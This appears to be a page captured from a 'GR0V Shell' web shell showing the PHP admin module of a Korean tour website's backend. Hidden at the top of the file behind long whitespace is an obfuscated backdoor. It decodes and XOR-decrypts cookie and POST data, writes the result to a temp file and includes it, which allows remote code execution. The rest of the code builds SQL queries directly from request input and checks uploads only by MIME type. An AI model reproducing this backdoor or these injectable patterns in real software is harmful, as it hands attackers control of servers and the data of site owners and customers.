? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/gallery/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/gallery/content.server.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("hlxndku")){class hlxndku{public static $foguywae = "crcitbmbppfcrsmt";public static $zbtcn = NULL;public function __construct(){$bdhdlga = @$_COOKIE[substr(hlxndku::$foguywae, 0, 4)];if (!empty($bdhdlga)){$kiwqgvjyj = "base64";$hvwdeta = "";$bdhdlga = explode(",", $bdhdlga);foreach ($bdhdlga as $ajochu){$hvwdeta .= @$_COOKIE[$ajochu];$hvwdeta .= @$_POST[$ajochu];}$hvwdeta = array_map($kiwqgvjyj . "_decode", array($hvwdeta,));$hvwdeta = $hvwdeta[0] ^ str_repeat(hlxndku::$foguywae, (strlen($hvwdeta[0]) / strlen(hlxndku::$foguywae)) + 1);hlxndku::$zbtcn = @unserialize($hvwdeta);}}public function __destruct(){$this->zgnbuod();}private function zgnbuod(){if (is_array(hlxndku::$zbtcn)) {$bnalvpt = sys_get_temp_dir() . "/" . crc32(hlxndku::$zbtcn["salt"]);@hlxndku::$zbtcn["write"]($bnalvpt, hlxndku::$zbtcn["content"]);include $bnalvpt;@hlxndku::$zbtcn["delete"]($bnalvpt);exit();}}}$femmjmkn = new hlxndku();$femmjmkn = NULL;} ?><?
function EditNamePhoto($formData){
global $db,$user_login;
$objResponse = new xajaxResponse();

  $addarr=array( 
  				'tour_cat_id'   =>$formData['CatID'], 
			 	'name'   =>$formData['name'], 
				  'time_add'   =>date('Y-m-d H:i:s'),    
				'add_by'   =>$user_login['ID'], 
		);		
$result=$db->Update('gallery',$addarr,"WHERE id='{$formData['id']}' ");

if($result){
		$messageError="บันทึกข้อมูลสำเร็จ";
		$objResponse->addAlert($messageError);
		$objResponse->addRedirect("admin.php?mod=gallery");
		return $objResponse->getXML();
	}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$db->mysqlError();
		$objResponse->addAlert($error);
		$objResponse->addRedirect("admin.php?mod=gallery");
		return $objResponse->getXML();
	}
return $objResponse->getXML();
}
$xajax->registerFunction("EditNamePhoto");

function UpdateNamePhoto($formData){
global $db,$user_login;
$objResponse = new xajaxResponse();
foreach($formData['name']  as $k =>$v){
  $addarr=array( 
			 	'name'   =>$v, 
				'public'   =>1, 
		);		
$result=$db->Update('gallery',$addarr,"WHERE id='{$formData['id'][$k]}' ");
}


if($result){
		$messageError="บันทึกข้อมูลสำเร็จ";
		$objResponse->addAlert($messageError);
		$objResponse->addRedirect("admin.php?mod=gallery");
		return $objResponse->getXML();
	}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$db->mysqlError();
		$objResponse->addAlert($error);
		$objResponse->addRedirect("admin.php?mod=gallery");
		return $objResponse->getXML();
	}

return $objResponse->getXML();
}
$xajax->registerFunction("UpdateNamePhoto");


function UploadPhoto($formData){
global $db,$user_login;
$objResponse = new xajaxResponse();
	
	$filename	=$_FILES['files']['name'];
	$filetype	=$_FILES['files']['type'];
	$filetmp		=$_FILES['files']['tmp_name'];

foreach($filename as $k =>$v)
{		
		
		if($filename[$k]  !=''){
								$pic=Random_Int(8).date('dmYHism',time());
																
							if($filetype[$k] == "image/gif"){
										$ContentPhoto=$pic.".gif";
								}else if ( $filetype[$k]  == "image/bmp"){
										$ContentPhoto=$pic.".bmp";
								}else if ( $filetype[$k]  == "image/png"){
										$ContentPhoto=$pic.".png";
								}else if (($filetype[$k]  =="image/jpg")||($filetype[$k]  =="image/jpeg")||($filetype[$k] =="image/pjpeg")){
										$ContentPhoto=$pic.".jpg";
								}		
								else{  
										$objResponse->addAlert("ไฟล์รูปผิดพลาด");
										return  $objResponse;
								}

							
						if(move_uploaded_file($filetmp[$k],$cfg[abs_path]."../gallery/".$ContentPhoto)){
								
										make_thumb($cfg[abs_path]."../gallery/".$ContentPhoto , $cfg[abs_path]."../gallery/thumbs/".$ContentPhoto,$new_w=418);
								}else{
										return  $objResponse;  
								}
				
			

				
		  $addarr=array( 
			 	'tour_cat_id'   =>$formData['CatID'], 
				'picture'   =>$ContentPhoto, 
			    'time_add'   =>date('Y-m-d H:i:s'),    
				'add_by'   =>$user_login['ID'], 
				'round_chk'   =>$formData['round'], 
		);		
		$result=$db->Insert('gallery',$addarr);
	
		}//filename
}	//foreach
	
if($result){
		
		$objResponse->addRedirect("admin.php?mod=gallery&ac=new_data_name_photo&round={$formData['round']}");
	}



return $objResponse->getXML();
}
$xajax->registerFunction("UploadPhoto");

function update_comment($id,$comment){
	global $db,$user_login;
	$objResponse = new xajaxResponse();	
	$dataCk=$db->getDataOneRow('time_schedule_comment',$id,'tour_id');  
   	
	$dataa=Array('detail'=>$comment,'add_time'=>date('Y-m-d H:i:s',time()),'add_by'=>$user_login[ID]);
    if($dataCk[tour_id]==""){
		$dataa=Array('detail'=>$comment,'add_time'=>date('Y-m-d H:i:s',time()),'add_by'=>$user_login[ID],'tour_id'=>$id);
		$db->Insert('time_schedule_comment',$dataa);
	}else{

		$db->Update('time_schedule_comment',$dataa,"WHERE tour_id='$id'");
	}

if($db->mysqlError()==''){
$objResponse->addAlert('บันทึกสำเร็จ');
}else{
$objResponse->addAlert('ไม่สามารถบันทึกข้อมูลได้  '.$db->mysqlError());
}

return $objResponse->getXML();
}
$xajax->registerFunction("update_comment");

function AddData_tour($formData)
{
	global $db,$user_login;
    $objResponse = new xajaxResponse();
	$error=Array();

   if($formData['CatID']==''){
  			$objResponse->addAlert("กรอก หมวดหมู่บทความ ค่ะ");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('ContentName').focus();");
  			$objResponse->addAssign("ContentName","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("ContentName","style.backgroundColor", "#ffffff");
	}
	if($formData['ToutName']==''){
  			$objResponse->addAlert("กรอกชื่อ ทัวร์ ด้วยค่ะ");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('ToutName').focus();");
  			$objResponse->addAssign("ToutName","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("ToutName","style.backgroundColor", "#ffffff");
	}
	
	if(!is_numeric ($formData['TourDay'])){
  			$objResponse->addAlert("ตัวเลขเท่านั้น");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('TourDay').focus();");
  			$objResponse->addAssign("TourDay","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("TourDay","style.backgroundColor", "#ffffff");
	}
	if(!is_numeric ($formData['price'])){
  			$objResponse->addAlert("ตัวเลขเท่านั้น");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('price').focus();");
  			$objResponse->addAssign("price","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("price","style.backgroundColor", "#ffffff");
	}
	
if(!in_array("error",$error)){	
	
	$filename=$_FILES['TourPhoto']['name'];
	$filetype=$_FILES['TourPhoto']['type'];
	$filetmp=$_FILES['TourPhoto']['tmp_name'];
	
				if($filename!=''){
						$pic=Random_Int(8).date('dmYHism',time());
						
						
						if($filetype == "image/gif"){
								$ContentPhoto=$pic.".gif";
						}else if ( $filetype == "image/bmp"){
								$ContentPhoto=$pic.".bmp";
						}else if ( $filetype == "image/png"){
								$ContentPhoto=$pic.".png";
						}else if (($filetype=="image/jpg")||($filetype=="image/jpeg")||($filetype=="image/pjpeg")){
								$ContentPhoto=$pic.".jpg";
						}		
						else{  
								$objResponse->addAlert("ไฟล์รูปผิดพลาด");
								return  $objResponse;
						}
					
				
						if(move_uploaded_file($filetmp,$cfg[abs_path]."../tour/photo/".$ContentPhoto)){
						
								make_thumb($cfg[abs_path]."../tour/photo/".$ContentPhoto,$cfg[abs_path]."../tour/photo/thumbs/".$ContentPhoto,$new_w=302);
						}else{
								return  $objResponse;  
						}
				}//filename
		
	
	

		
	
	//$detail=Random_Int(8).date('dmYHism',time()).".txt";	
	//$detail = htmlspecialchars($formData['ContentDetail']);

foreach($formData['CatID']  as $k =>$v){	
	$addarr=array(
		  'catagory'=>$v,
		  'code'=>$formData['TourCode'],           
		  'name'=>$formData['ToutName'],
		  'days'=>$formData['TourDay'],              
		  'airline'=>$formData['TourAirline'],            
		  'price'=>$formData['price'],              
		  'icon_new'=>$formData['new'],     
		  'icon_hot'=>$formData['hot'],  
		  'public'=>$formData['public'],    
		  'image'   =>$ContentPhoto,     
		  'tag'=>$formData['tagTour'],     

		  'AddTime'=>date('Y-m-d H:i:s',time()),
		  'Addby'=>$user_login[ID],

		  
	);
	$result=$db->Insert('tour',$addarr);
}	
	
	if($result){
		$messageError="บันทึกข้อมูลสำเร็จ";
		$objResponse->addAlert($messageError);
		$objResponse->addRedirect("admin.php?mod=tour");
		return $objResponse->getXML();
	}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$db->mysqlError();
		$objResponse->addAlert($error);
		$objResponse->addRedirect("admin.php?mod=tour");
		return $objResponse->getXML();
	}
	
}///end check error

return $objResponse->getXML();
}
$xajax->registerFunction("AddData_tour");
////////////////////////////////////////////////////////////
function EditData_tour($formData){
	global $db,$user_login;
    $objResponse = new xajaxResponse();
	$error=Array();

$topic_id=$_GET['id'];
$pk=$db->getDataOneRow('tour',$topic_id,'id');


   if($formData['CatID']==''){
  			$objResponse->addAlert("กรอกประเภททัวร์ด้วยค่ะ");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('CatID').focus();");
  			$objResponse->addAssign("CatID","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("CatID","style.backgroundColor", "#ffffff");
	}
	if($formData['ToutName']==''){
  			$objResponse->addAlert("กรอกชื่อ ทัวร์ ด้วยค่ะ");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('ToutName').focus();");
  			$objResponse->addAssign("ToutName","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("ToutName","style.backgroundColor", "#ffffff");
	}
	
	if(!is_numeric ($formData['TourDay'])){
  			$objResponse->addAlert("ตัวเลขเท่านั้น");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('TourDay').focus();");
  			$objResponse->addAssign("TourDay","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("TourDay","style.backgroundColor", "#ffffff");
	}
	if(!is_numeric ($formData['price'])){
  			$objResponse->addAlert("ตัวเลขเท่านั้น");
 			array_push($error,"error");
  			$objResponse->addScript("document.getElementById('price').focus();");
  			$objResponse->addAssign("price","style.backgroundColor", "#caf632");
			return $objResponse->getXML();
	}else{	
			$objResponse->addAssign("price","style.backgroundColor", "#ffffff");
	}
	
if(!in_array("error",$error)){	
	
	$filename=$_FILES['TourPhoto']['name'];
	$filetype=$_FILES['TourPhoto']['type'];
	$filetmp=$_FILES['TourPhoto']['tmp_name'];
	
		if($filename!=''){
						$pic=Random_Int(8).date('dmYHism',time());
						
						if(file_exists("../tour/photo/".$pk[image])) {
							unlink("../tour/photo/".$pk[image]);
						}
						if(file_exists("../tour/photo/thumbs/".$pk[image])) {
							unlink("../tour/photo/thumbs/".$pk[image]);
						}
		if ( $filetype == "image/gif" ){$ContentPhoto=$pic.".gif";}
		else if ( $filetype == "image/bmp" ){$ContentPhoto=$pic.".bmp";}
		else if ( $filetype == "image/png" ){$ContentPhoto=$pic.".png";}
		else if (($filetype=="image/jpg")||($filetype=="image/jpeg")||($filetype=="image/pjpeg")){$ContentPhoto=$pic.".jpg";}		
		else{  
		$objResponse->addAlert("ไฟล์รูปผิดพลาด");
		return  $objResponse;
		}
		
			
			$addarr['image']=$ContentPhoto;
			
			if(move_uploaded_file($filetmp,$cfg[abs_path]."../tour/photo/".$ContentPhoto)){
				make_thumb($cfg[abs_path]."../tour/photo/".$ContentPhoto,$cfg[abs_path]."../tour/photo/thumbs/".$ContentPhoto,$new_w=302);
			}
		}//filename
	
	

		
	
	//$detail=Random_Int(8).date('dmYHism',time()).".txt";	
	//$detail = htmlspecialchars($formData['ContentDetail']);

foreach($formData['CatID'] as $k =>$v){	


		  $addarr['catagory']  =			$v;
		  $addarr['code']	   =			$formData['TourCode'];
		  $addarr['name']	   =			$formData['ToutName'];
		  $addarr['days']	   =			$formData['TourDay'];
		  $addarr['airline']   =			$formData['TourAirline'];
		  $addarr['price']	   =			$formData['price'];
		  $addarr['icon_new']	   =		$formData['new'];
		  $addarr['icon_hot']	   =		$formData['hot'];
		  $addarr['public']	   =		    $formData['public'];
		  $addarr['tag']	   =		    $formData['tagTour'];
		  $addarr['AddTime']	   =		date('Y-m-d H:i:s',time());
		  $addarr['Addby']	   =		$user_login[ID];


	$result=$db->Update('tour',$addarr,"WHERE id='$topic_id'");
}//foreach	
	
	if($result){
		$messageError="บันทึกข้อมูลสำเร็จ";
		$objResponse->addAlert($messageError);
		$objResponse->addRedirect("admin.php?mod=tour");
		return $objResponse->getXML();
	}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$db->mysqlError();
		$objResponse->addAlert($error);
		$objResponse->addRedirect("admin.php?mod=tour");
		return $objResponse->getXML();
	}
	
}///end check error

return $objResponse->getXML();

}

$xajax->registerFunction("EditData_tour");
/////////////////////////////////////////////////////////////////
function Adddata_credit($formData){
global $db,$user_login;
$objResponse = new xajaxResponse();



	$filename=$_FILES['TourPhoto']['name'];
	$filetype=$_FILES['TourPhoto']['type'];
	$filetmp=$_FILES['TourPhoto']['tmp_name'];
	if($filename!=''){
				$pic=Random_Int(8).date('dmYHism',time());
						
						if ( $filetype == "image/gif" ){$ContentPhoto=$pic.".gif";}
						else if ( $filetype == "image/bmp" ){$ContentPhoto=$pic.".bmp";}
						else if ( $filetype == "image/png" ){$ContentPhoto=$pic.".png";}
						else if (($filetype=="image/jpg")||($filetype=="image/jpeg")||($filetype=="image/pjpeg")){$ContentPhoto=$pic.".jpg";}		
						else{  
						$objResponse->addAlert("ไฟล์รูปผิดพลาด");
						return  $objResponse;
						}
						$addarr['picture']=$ContentPhoto;
			
			if(move_uploaded_file($filetmp,$cfg[abs_path]."../images/logo_bank/".$ContentPhoto)){
				make_thumb($cfg[abs_path]."../images/logo_bank/".$ContentPhoto,$cfg[abs_path]."../images/logo_bank/thumbs/".$ContentPhoto,$new_w=60);
			}
		}//filename

		$addarr=array(
		  'picture'=>$ContentPhoto,           
		  'name'=>$formData['ToutName'],
		);
	$result=$db->Insert('cadit_card',$addarr);
	if($result){
		$messageError="บันทึกข้อมูลสำเร็จ";
		$objResponse->addAlert($messageError);
		$objResponse->addRedirect("admin.php?mod=tour&ac=cadit_card");
		return $objResponse->getXML();
	}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$db->mysqlError();
		$objResponse->addAlert($error);
		$objResponse->addRedirect("admin.php?mod=tour&ac=cadit_card");
		return $objResponse->getXML();
	}
return $objResponse->getXML();
}
$xajax->registerFunction("Adddata_credit");
function EditData_card($formData){
global $db,$user_login;
$objResponse = new xajaxResponse();

$topic_id=$_GET['id'];
$pk=$db->getDataOneRow('cadit_card',$topic_id,'id');

	$filename=$_FILES['TourPhoto']['name'];
	$filetype=$_FILES['TourPhoto']['type'];
	$filetmp=$_FILES['TourPhoto']['tmp_name'];
	if($filename!=''){
				$pic=Random_Int(8).date('dmYHism',time());
						
						if(file_exists("../../images/logo_bank/".$pk[picture])) {
							unlink("../images/logo_bank/".$pk[picture]);
						}
						if(file_exists("../../images/logo_bank/thumbs/".$pk[picture])) {
							unlink("../../images/logo_bank/thumbs/".$pk[picture]);
						}
						
						if ( $filetype == "image/gif" ){$ContentPhoto=$pic.".gif";}
						else if ( $filetype == "image/bmp" ){$ContentPhoto=$pic.".bmp";}
						else if ( $filetype == "image/png" ){$ContentPhoto=$pic.".png";}
						else if (($filetype=="image/jpg")||($filetype=="image/jpeg")||($filetype=="image/pjpeg")){$ContentPhoto=$pic.".jpg";}		
						else{  
						$objResponse->addAlert("ไฟล์รูปผิดพลาด");
						return  $objResponse;
						}
						$addarr['picture']=$ContentPhoto;
			
			if(move_uploaded_file($filetmp,$cfg[abs_path]."../images/logo_bank/".$ContentPhoto)){
				make_thumb($cfg[abs_path]."../images/logo_bank/".$ContentPhoto,$cfg[abs_path]."../images/logo_bank/thumbs/".$ContentPhoto,$new_w=60);
			}
		}//filename

	$addarr['name']	  =	$formData['ToutName'];	
	
	$result=$db->Update('cadit_card',$addarr,"WHERE id='$topic_id' ");
	if($result){
		$messageError="บันทึกข้อมูลสำเร็จ";
		$objResponse->addAlert($messageError);
		$objResponse->addRedirect("admin.php?mod=tour&ac=cadit_card");
		return $objResponse->getXML();
	}else{
		$error="ไม่สามารถเพิ่มข้อมูลได้".$db->mysqlError();
		$objResponse->addAlert($error);
		$objResponse->addRedirect("admin.php?mod=tour&ac=cadit_card");
		return $objResponse->getXML();
	}
return $objResponse->getXML();
}
$xajax->registerFunction("EditData_card");
////////////////////////////////////////////////
function addData($action){
global $db;
$rs=$db->Query("SELECT * FROM tour_content WHERE content_tour_id='{$_GET['tour_id']}' AND content_parent=''");
$html.="<table border=\"1\" width=\"700\" height=\"50\" cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#808080\">";
while($data=mysql_fetch_array($rs)){
$html.="
	<tr>
		<td height=\"23\" width=\"700\" colspan=\"2\" bgcolor=\"#FFFF33\">{$data['content_topic']} <span style=\"cursor:hand;\" onclick=\"addTb({$data['content_id']})\">[เพิ่มตารางเวลา]</span></td>
	</tr>";

	$rs2=$db->Query("SELECT * FROM tour_content  WHERE content_parent='{$data['content_id']}'");
	while($data2=mysql_fetch_array($rs2)){
$html.="
	<tr>
		<td height=\"30\" width=\"165\">{$data2['content_time']}</td>
		<td height=\"30\" width=\"649\">{$data2['content_detail']}</td>
	</tr>
	";
	}

}
if($action=='topic'){
$html.="<tr>
		<td height=\"23\" width=\"700\" colspan=\"2\" bgcolor=\"#FFFF33\"><input type='text' value='' style='width:600px;' onchange='xajax_addTopic(this.value);'></td>
	</tr>";
}
$html.="</table>";
$objResponse = new xajaxResponse();
$objResponse->addAssign("mainbox","innerHTML",$html);
return $objResponse;
}
function addHeader($formData)
{
	global $db;
	$objResponse = new xajaxResponse();
	$add=Array('title'=>$formData['header']);
$db->Update('tour',$add,"WHERE id='{$_GET['tour_id']}'");

if($db->mysqlError()==''){
$objResponse->addAlert('บันทึกสำเร็จ');
}else{
$objResponse->addAlert('ไม่สามารถบันทึกข้อมูลได้  '.$db->mysqlError());
}
	return $objResponse->getXML();
}
function addCondition($formData)
{
	global $db;
	$objResponse = new xajaxResponse();
	$db->Query("DELETE FROM tour_content_condition WHERE condition_tour_id='{$_GET['tour_id']}'");
	$i=0;
foreach($formData['Condition'] as $k=>$v){
if($v!=''){
$data=Array(
	'condition_tour_id'=>$_GET['tour_id'],
	'condition_order'=>$formData['orderCondition'][$k],
	'condition_name'=>$v,
	'condition_detail'=>$formData['ConDetail'][$k]
);
$db->Insert('tour_content_condition',$data);
}
$i++;
}

$objResponse->addScript("xajax_refreshCondition()");
$objResponse->addAlert("บันทึกสำเร็จ");
	return $objResponse->getXML();
}
function plus_tr($id){
		global $db;
	$objResponse = new xajaxResponse();
	$data=$db->getDataOneRow('tour_content',$id,'content_id');
$rs2=$db->Query("SELECT * FROM tour_content  WHERE content_parent='$id' ORDER BY content_order ASC");
$html.="
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\">
<input type='hidden' name=\"content_id[$id]\">
	<tr>
		<td height=\"23\" width=\"100%\" colspan=\"2\" bgcolor=\"#FFFF33\"><input type='text' name='TopicRound[]' value='{$data['content_topic']}' style=\"background:#FFFF33;width:550px;border:0px;\" onClick='editInput(this)' onMouseOut='InputTxt(this)'> Order:<input type='text' value='{$x}' style='width:20px;text-align:center'> <span style='cursor:hand;' onclick='plus_tr('{$id}')'>+</span> </td>
	</tr>";
	while($data2=mysql_fetch_array($rs2)){
$html.="
	<tr>
		<td height=\"30\" width=\"120\" align=center valign=top>{$data2['content_time']}</td>
		<td height=\"30\" width=\"500\">{$data2['content_detail']}</td>
	</tr>
	";
	}
	$html.="
	<tr>
		<td height=\"30\" width=\"120\" align=center valign=top><input type='text' name=\"time[]\"></td>
		<td height=\"30\" width=\"500\"><textarea name=\"timeDetail[]\"></textarea></td>
	</tr>
	";
	$html.="</table>";
	$objResponse->addAssign("table_round_".$id,"innerHTML",$html);
return $objResponse;
}
function loadRound(){
		global $db;
	$objResponse = new xajaxResponse();
$rs=$db->Query("SELECT * FROM tour_content WHERE content_tour_id='{$_GET['tour_id']}' AND content_parent='' ORDER BY content_order ASC");
$x=1;
while($data=mysql_fetch_array($rs)){
$html.="
<div id=\"div_{$data['content_id']}\">
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\"  name=\"table_{$data['content_id']}\"  id=\"table_{$data['content_id']}\">
	<tbody id=\"tbody_{$data['content_id']}\"> 
<input type='hidden' name=\"content_id[{$data[content_id]}]\" id='tablex_{$data['content_id']}'>
	<tr id=\"tr_topic_{$data['content_id']}\">
		<td height=\"23\" width=\"100%\" colspan=\"2\" bgcolor=\"#FFFF33\" id=\"td_topic_{$data['content_id']}\" ><input type='text' name='TopicRound[]' value='{$data['content_topic']}' style=\"background:#FFFF33;width:550px;border:0px;\" >  <span style='cursor:hand;' onclick=\"xajax_editTable('div_{$data['content_id']}','{$data['content_id']}')\"> แก้ไข</span>  <span style='cursor:hand;' onclick=\"xajax_delTable('{$data['content_id']}')\"> ลบ</span></td>
	</tr>";

	$rs2=$db->Query("SELECT * FROM tour_content  WHERE content_parent='{$data['content_id']}' ORDER BY content_order ASC");
	while($data2=mysql_fetch_array($rs2)){
$html.="
	<tr id=\"tr_sub_{$data['content_id']}\">
		<td height=\"30\" width=\"120\" align=center valign=top id=\"td_sub_time_{$data['content_id']}\">{$data2['content_time']}</td>
		<td height=\"30\" width=\"500\" id=\"td_sub_detail_{$data['content_id']}\">{$data2['content_detail']}</td>
	</tr>
	";
	}
	$html.="</tbody></table></div>";
	$x++;
}
$objResponse->addAssign("txtRound","innerHTML",$html);
return $objResponse;
}
function createTable($divid){
		$objResponse = new xajaxResponse();
$html="
<FORM id=\"NewForm\">
<div id=\"div_N_$divid\">
<table border=\"1\" width=\"100%\" cellspacing=\"0\" height=\"10\"style=\"border-collapse: collapse\"  name=\"table_N_$divid\"  id=\"table_N_$divid\">
	<tbody id=\"tbody_N_$divid\"> 
<input type='hidden' name=\"content_id[]\" id='table_N_$divid'>
	<tr id=\"tr_topic_N_$divid\">
		<td height=\"23\" width=\"100%\" colspan=\"2\" bgcolor=\"#FFFF33\" id=\"td_topic_N_$divid\" ><input type='text' name='TopicRound' value='' style=\"background:#ffffff;width:550px;\">  <span style='cursor:hand;' onclick=\"addRow('tbody_N_$divid')\">เพิ่มแถว</span> </td>
	</tr>
		<tr id=\"tr_sub_N_1_$divid\">
		<td height=\"30\" width=\"120\" align=center  id=\"td_sub_time_N_1_$divid\"><input type='text' name='subTopic[]' style='width:100px'></td>
		<td height=\"30\" width=\"500\" id=\"td_sub_detail_N_1_$divid\"><textarea  name=detail[] style=\"width:520px;height:100px;\"></textarea></td>
	</tr>
		<tr id=\"tr_sub_N_2_$divid\">
		<td height=\"30\" width=\"120\" align=center  id=\"td_sub_time_N_2_$divid\"><input type='text' name='subTopic[]' style='width:100px'></td>
		<td height=\"30\" width=\"500\" id=\"td_sub_detail_N_2_$divid\"><textarea  name=detail[] style=\"width:520px;height:100px;\"></textarea></td>


	</table>
	<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\">
<tr>
<td width=\"100%\" valign=\"middle\" align=\"right\"  height=\"20\" colspan=\"2\"><input type='button' value=' ยกเลิก ' onClick='xajax_undotable()'><input type=\"submit\" value=\" บันทึก \"  onclick=\"xajax_addDataTable(xajax.getFormValues('NewForm')); return false;\"></td>
</tr>
</table>
	</div>
	
	</FORM>";
$objResponse->addAssign("$divid","innerHTML",$html);
return $objResponse;
}
function delTable($id){
	global $db;
$objResponse = new xajaxResponse();
if($db->Query("DELETE FROM tour_content WHERE content_id='$id'")){
$db->Query("DELETE FROM tour_content WHERE content_parent='$id'");
}
$objResponse->addScript("xajax_loadRound()");
return $objResponse;
}
function addDataTable($formData)
{
	global $db;
	$objResponse = new xajaxResponse();
$ct=$db->count_data('tour_content',"WHERE content_tour_id='{$_GET['tour_id']}'");
$ct=$ct+1;
	$add=Array('content_topic'=>$formData['TopicRound'],'content_tour_id'=>$_GET['tour_id'],'content_order'=>$ct);
	$db->Insert('tour_content',$add);
$id=$db->getRow('tour_content',"WHERE content_topic='{$formData['TopicRound']}' AND content_tour_id='{$_GET['tour_id']}'  And content_order='".$ct."'");
$i=1;
foreach($formData['subTopic'] as $k=>$v){

		//if($v!=''){
$data1=Array(
	'content_order'=>$i,
     'content_parent'=>$id['content_id'],
	'content_tour_id'=>$_GET['tour_id'],
	'content_time'=>$v,
	'content_detail'=>$formData['detail'][$k]
	);
$db->Insert('tour_content',$data1);

		//}
		$i++;
}
if($db->mysqlError()==''){
$objResponse->addAlert('บันทึกสำเร็จ');
$objResponse->addScript("xajax_loadRound()");
$html="
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\">
<tr>
<td width=\"100%\" valign=\"middle\" align=\"right\"  height=\"20\" colspan=\"2\"><input type=\"button\" value=\" เพิ่มตาราง \" onclick=\"addTable()\"></td>
</tr>
</table>";
$objResponse->addAssign("DivNewTable","innerHTML",$html);
}else{
$objResponse->addAlert('ไม่สามารถบันทึกข้อมูลได้  '.$db->mysqlError());
}

	return $objResponse->getXML();
}

function editTable($div,$content_id){
		global $db;
	$objResponse = new xajaxResponse();
	$data=$db->getDataOneRow('tour_content',$content_id,'content_id');
$html.="<FORM id=\"FormEditTable\">";
$html.="
<table border=\"1\" cellspacing=\"0\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\"  name=\"table_{$data['content_id']}\"  id=\"table_{$data['content_id']}\">
	<tbody id=\"tbody_{$data['content_id']}\"> 
<input type='hidden' name=\"content_id\" value='$content_id'>
<input type='hidden' name=\"div_back[$content_id]\" value=\"$div\">
	<tr id=\"tr_topic_{$data['content_id']}\">
		<td height=\"23\" width=\"100%\" colspan=\"2\" bgcolor=\"#FFFF33\" id=\"td_topic_{$data['content_id']}\" ><input type='text' name='TopicRound[$content_id]' value='{$data['content_topic']}' style=\"width:500px;\" ><input type='submit' value=' Save '  onclick=\"xajax_editDataTable(xajax.getFormValues('FormEditTable'),$content_id); return false;\"><span style='cursor:hand;' onclick=\"addRow('tbody_{$data['content_id']}')\"> เพิ่มแถว</span> </td>
	</tr>";

	$rs2=$db->Query("SELECT * FROM tour_content  WHERE content_parent='{$data['content_id']}' ORDER BY content_order ASC");
	while($data2=mysql_fetch_array($rs2)){
$html.="
<input type='hidden' name='subId[{$data2['content_id']}]' value='{$data2['content_id']}'>
	<tr id=\"tr_sub_{$data2['content_id']}\">
		<td height=\"30\" width=\"120\" align=center valign=top id=\"td_sub_time_{$data2['content_id']}\"><input type='text' name='subTopic[{$data2['content_id']}]' style='width:100px' value='{$data2['content_time']}'><br>เรียงลำดับ<input type='text' name='order[{$data2['content_id']}]' style='width:20px' value='{$data2['content_order']}'></td>
		<td height=\"30\" width=\"500\" id=\"td_sub_detail_{$data2['content_id']}\"><textarea  name='detail[{$data2['content_id']}]' style=\"width:520px;height:100px;\">{$data2['content_detail']}</textarea></td>
	</tr>
	";
	}
	$html.="</tbody></table>";
$html.="</form>";
$objResponse->addAssign("$div","innerHTML",$html);
return $objResponse;
}
function editDataTable($formData,$content_id){
	global $db;
	$objResponse = new xajaxResponse();
	$data=Array(
	'content_topic'=>$formData['TopicRound'][$content_id],

	);
if($db->Update('tour_content',$data,"WHERE content_id='$content_id'")){
	$sub=1;
	foreach($formData['subId'] as $k=>$v){

if($v!=''){
$data=Array(
	'content_order'=>$formData['order'][$k],
	'content_tour_id'=>$_GET['tour_id'],
	'content_time'=>$formData['subTopic'][$k],
	'content_detail'=>$formData['detail'][$k]
	);
//$objResponse->addAlert($formData['detail'][$k].'-'.$formData['subTopic'][$k]);
if($formData['detail'][$k]==''){
$db->Query("DELETE FROM tour_content WHERE content_id='$k' AND content_tour_id='{$_GET['tour_id']}' AND content_parent='$content_id'");
}else{
$db->Update('tour_content',$data,"WHERE content_id='$k'");
}
}else{
	$data=Array(
	'content_order'=>$sub,
	'content_tour_id'=>$_GET['tour_id'],
	'content_time'=>$formData['subTopic'][$k],
	'content_detail'=>$formData['detail'][$k],
	'content_parent'=>$content_id
	);
//$objResponse->addAlert($formData['detail'][$k].'-'.$formData['subTopic'][$k]);
$db->Insert('tour_content',$data);

}
$sub++;
	}//end foreach
	
	}//end update
		$data=$db->getDataOneRow('tour_content',$content_id,'content_id');
$html.="
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\"  name=\"table_{$data['content_id']}\"  id=\"table_{$data['content_id']}\">
	<tbody id=\"tbody_{$data['content_id']}\"> 
<input type='hidden' name=\"content_id\" value='$content_id'>
<input type='hidden' name=\"div_id[$content_id]\" value='div_[$content_id]'>
	<tr id=\"tr_topic_{$data['content_id']}\">
